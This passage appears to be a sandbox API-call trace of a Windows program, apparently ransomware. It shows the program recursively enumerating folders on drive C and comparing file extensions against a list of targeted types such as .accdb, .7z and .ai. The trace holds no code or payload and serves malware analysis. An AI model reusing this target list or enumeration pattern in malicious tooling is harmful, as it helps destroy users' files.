ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0041.610] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39506e8 [0041.611] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x605268 [0041.611] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.611] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0041.611] FindClose (in: hFindFile=0x605268 | out: hFindFile=0x605268) returned 1 [0041.612] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39506e8 | out: hHeap=0x510000) returned 1 [0041.612] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0041.612] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39506e8 [0041.612] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x605268 [0041.612] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.612] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0041.612] FindClose (in: hFindFile=0x605268 | out: hFindFile=0x605268) returned 1 [0041.612] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39506e8 | out: hHeap=0x510000) returned 1 [0041.612] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0041.612] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39506e8 [0041.613] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x605268 [0041.614] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.614] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0041.614] FindClose (in: hFindFile=0x605268 | out: hFindFile=0x605268) returned 1 [0041.614] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39506e8 | out: hHeap=0x510000) returned 1 [0041.614] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0041.614] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39506e8 [0041.614] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x605268 [0041.614] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.615] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0041.615] FindClose (in: hFindFile=0x605268 | out: hFindFile=0x605268) returned 1 [0041.615] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39506e8 | out: hHeap=0x510000) returned 1 [0041.615] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0041.615] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39506e8 [0041.615] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x605268 [0041.616] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.616] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0041.616] FindClose (in: hFindFile=0x605268 | out: hFindFile=0x605268) returned 1 [0041.616] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39506e8 | out: hHeap=0x510000) returned 1 [0041.616] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0041.617] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39506e8 [0041.617] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x605268 [0041.617] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.617] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0041.617] FindClose (in: hFindFile=0x605268 | out: hFindFile=0x605268) returned 1 [0041.617] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39506e8 | out: hHeap=0x510000) returned 1 [0041.617] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0041.618] FindClose (in: hFindFile=0x604220 | out: hFindFile=0x604220) returned 1 [0041.618] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39406e0 | out: hHeap=0x510000) returned 1 [0041.618] FindNextFileW (in: hFindFile=0x6031d8, lpFindFileData=0x353fd00 | out: lpFindFileData=0x353fd00*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0041.618] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39406e0 [0041.618] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x604220 [0041.618] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.618] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0041.619] FindClose (in: hFindFile=0x604220 | out: hFindFile=0x604220) returned 1 [0041.619] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39406e0 | out: hHeap=0x510000) returned 1 [0041.619] FindNextFileW (in: hFindFile=0x6031d8, lpFindFileData=0x353fd00 | out: lpFindFileData=0x353fd00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0041.619] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39406e0 [0041.619] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="佰V\x16")) returned 0xffffffff [0041.620] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39406e0 | out: hHeap=0x510000) returned 1 [0041.620] FindNextFileW (in: hFindFile=0x6031d8, lpFindFileData=0x353fd00 | out: lpFindFileData=0x353fd00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x813b7be0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0041.620] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39406e0 [0041.620] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*", lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x604220 [0041.620] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.620] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0041.620] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39506e8 [0041.621] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*", lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x605268 [0041.623] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.624] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0041.624] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3ec0048 [0044.045] FindClose (in: hFindFile=0x3ef2208 | out: hFindFile=0x3ef2208) returned 1 [0044.062] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3ec0048 | out: hHeap=0x510000) returned 1 [0044.078] FindNextFileW (in: hFindFile=0x3ef2108, lpFindFileData=0x353f58c | out: lpFindFileData=0x353f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0045.940] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0045.940] lstrcmpiW (lpString1=".3ds", lpString2=".WMF") returned -1 [0045.940] lstrcmpiW (lpString1=".3fr", lpString2=".WMF") returned -1 [0045.941] lstrcmpiW (lpString1=".3g2", lpString2=".WMF") returned -1 [0045.941] lstrcmpiW (lpString1=".3gp", lpString2=".WMF") returned -1 [0045.941] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0045.941] lstrcmpiW (lpString1=".accda", lpString2="90.WMF") returned -1 [0045.941] lstrcmpiW (lpString1=".accdb", lpString2="90.WMF") returned -1 [0045.941] lstrcmpiW (lpString1=".accdc", lpString2="90.WMF") returned -1 [0045.941] lstrcmpiW (lpString1=".accde", lpString2="90.WMF") returned -1 [0045.941] lstrcmpiW (lpString1=".accdt", lpString2="90.WMF") returned -1 [0045.941] lstrcmpiW (lpString1=".accdw", lpString2="90.WMF") returned -1 [0045.941] lstrcmpiW (lpString1=".adb", lpString2=".WMF") returned -1 [0045.941] lstrcmpiW (lpString1=".adp", lpString2=".WMF") returned -1 [0045.941] lstrcmpiW (lpString1=".ai", lpString2="WMF") returned -1 [0045.941] lstrcmpiW (lpString1=".ai3", lpString2=".WMF") returned -1 [0045.941] lstrcmpiW (lpString1=".ai4", lpString2=".WMF") returned -1 [0045.941] lstrcmpiW (lpString1=".ai5", lpString2=".WMF") returned -1 [0045.941] lstrcmpiW (lpString1=".ai6", lpString2=".WMF") returned -1 [0045.942] lstrcmpiW (lpString1=".ai7", lpString2=".WMF") returned -1 [0045.942] lstrcmpiW (lpString1=".ai8", lpString2=".WMF") returned -1 [0045.942] lstrcmpiW (lpString1=".anim", lpString2="0.WMF") returned -1 [0045.942] lstrcmpiW (lpString1=".arw", lpString2=".WMF") returned -1 [0045.942] lstrcmpiW (lpString1=".as", lpString2="WMF") returned -1 [0045.942] lstrcmpiW (lpString1=".asa", lpString2=".WMF") returned -1 [0045.942] lstrcmpiW (lpString1=".asc", lpString2=".WMF") returned -1 [0045.942] lstrcmpiW (lpString1=".ascx", lpString2="0.WMF") returned -1 [0045.942] lstrcmpiW (lpString1=".asm", lpString2=".WMF") returned -1 [0045.942] lstrcmpiW (lpString1=".asmx", lpString2="0.WMF") returned -1 [0045.942] lstrcmpiW (lpString1=".asp", lpString2=".WMF") returned -1 [0045.942] lstrcmpiW 